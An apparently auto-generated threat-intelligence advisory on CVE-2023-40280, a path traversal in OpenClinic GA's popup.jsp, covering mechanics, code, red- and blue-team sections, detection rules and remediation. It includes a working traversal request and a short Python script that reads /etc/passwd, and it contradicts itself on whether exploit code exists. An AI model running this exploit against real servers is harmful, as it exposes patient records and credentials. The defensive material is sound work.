CVE-2023-40280
Executive Summary
CVE-2023-40280 is a directory path traversal vulnerability discovered in OpenClinic GA version 5.247.01. The flaw resides in the popup.jsp file, where the Page parameter in a GET request is not properly sanitized. An unauthenticated attacker can exploit this to read arbitrary files from the server's filesystem, potentially exposing sensitive configuration files, patient data, or system credentials. The vulnerability has a CVSS score of 0.0 in the NVD due to incomplete scoring, but based on the vector analysis, it poses a significant confidentiality risk. No official patch has been released, and no public exploit code or Nuclei template is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full file read access.
- Integrity (I): None (N) – No file modification.
- Availability (A): None (N) – No denial of service.
Threat Level: High (Confidentiality impact). The lack of authentication and low complexity make this a critical risk for healthcare environments using OpenClinic GA.
Deep Dive & Mechanics
The vulnerability exists in the popup.jsp page, which is used to load dynamic content via the Page parameter. The application fails to validate or sanitize user-supplied input, allowing path traversal sequences such as ../ to escape the intended web root directory.
Attack Flow:
- An attacker sends a GET request to
popup.jspwith a craftedPageparameter. - The parameter value is used directly in a file inclusion operation without proper filtering.
- The server reads the requested file and returns its contents in the HTTP response.
Example Request:
GET /popup.jsp?Page=../../../etc/passwd HTTP/1.1
Host: target.openclinic.local
This would return the contents of /etc/passwd on a Linux server, or equivalent system files on Windows.
Root Cause: The Page parameter is concatenated into a file path without stripping directory traversal sequences or validating that the resulting path is within an allowed directory.
Vulnerable vs. Patched Code
Vulnerable Code (popup.jsp):
<%
String page = request.getParameter("Page");
if (page != null) {
// Direct inclusion without sanitization
String content = readFile("/webroot/pages/" + page);
out.println(content);
}
%>
Patched Code (Hypothetical):
<%
String page = request.getParameter("Page");
if (page != null) {
// Sanitize: remove directory traversal sequences
page = page.replace("../", "").replace("..\\", "");
// Validate: ensure path is within allowed directory
File allowedDir = new File("/webroot/pages/");
File requestedFile = new File(allowedDir, page);
if (requestedFile.getCanonicalPath().startsWith(allowedDir.getCanonicalPath())) {
String content = readFile(requestedFile.getAbsolutePath());
out.println(content);
} else {
out.println("Access denied.");
}
}
%>
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running OpenClinic GA 5.247.01
- Network access to the web interface
Exploitation Steps:
- Identify the target's base URL (e.g.,
http://target.openclinic.local/). - Send a crafted GET request to traverse directories:
GET /popup.jsp?Page=../../../etc/passwd HTTP/1.1 Host: target.openclinic.local - Observe the response containing the file contents.
Automated Script (Python):
import requests
target = "http://target.openclinic.local"
payload = "../../../etc/passwd"
url = f"{target}/popup.jsp?Page={payload}"
response = requests.get(url)
if response.status_code == 200:
print(response.text)
else:
print(f"Failed: {response.status_code}")
Blue Team
Detection Steps:
- Monitor web server logs for suspicious
popup.jsprequests containing../or..\\sequences. - Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
- Restrict file system permissions to prevent the web server user from reading sensitive files.
Honeypot Setup:
- Deploy a decoy
popup.jspthat logs all requests and alerts on path traversal attempts.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/popup.jspwithPageparameter containing../or..\\ - Outbound responses containing system file contents (e.g.,
root:x:0:0:root:/root:/bin/bash)
- HTTP GET requests to
File System IOCs:
- Unexpected access to
/etc/passwd,C:\Windows\win.ini, or other sensitive files by the web server process.
- Unexpected access to
Log IOCs:
- Web server access logs showing
GET /popup.jsp?Page=../../../etc/passwdwith status 200.
- Web server access logs showing
Detection Engineering
YARA Rule
rule CVE_2023_40280_PathTraversal {
meta:
description = "Detects path traversal attempts in popup.jsp requests"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2023-40280"
strings:
$traversal = /popup\.jsp\?Page=[^&]*\.\.\//
condition:
$traversal
}
Sigma Rule
title: CVE-2023-40280 Path Traversal in popup.jsp
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects path traversal attempts targeting OpenClinic GA popup.jsp
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "popup.jsp?Page="
- "../"
condition: selection
falsepositives:
- Legitimate use of ".." in page names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-40280 Path Traversal in popup.jsp"; flow:to_server,established; content:"GET"; http_method; content:"/popup.jsp"; http_uri; content:"Page="; http_uri; pcre:"/Page=[^&]*\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Implement strict input validation on the
Pageparameter to reject any characters that enable path traversal (e.g.,.,/,\). - File Path Canonicalization: Use
getCanonicalPath()in Java to resolve the final path and verify it starts with the allowed base directory. - Web Application Firewall (WAF): Deploy a WAF rule to block requests containing
../or..\\in thePageparameter.
Long-Term Fix:
- Apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section.
- Upgrade to a patched version once released by the vendor.
Workaround:
- If patching is not possible, restrict access to
popup.jspvia.htaccessor firewall rules to trusted IP addresses only.
Valters IT signature: This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters.it.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.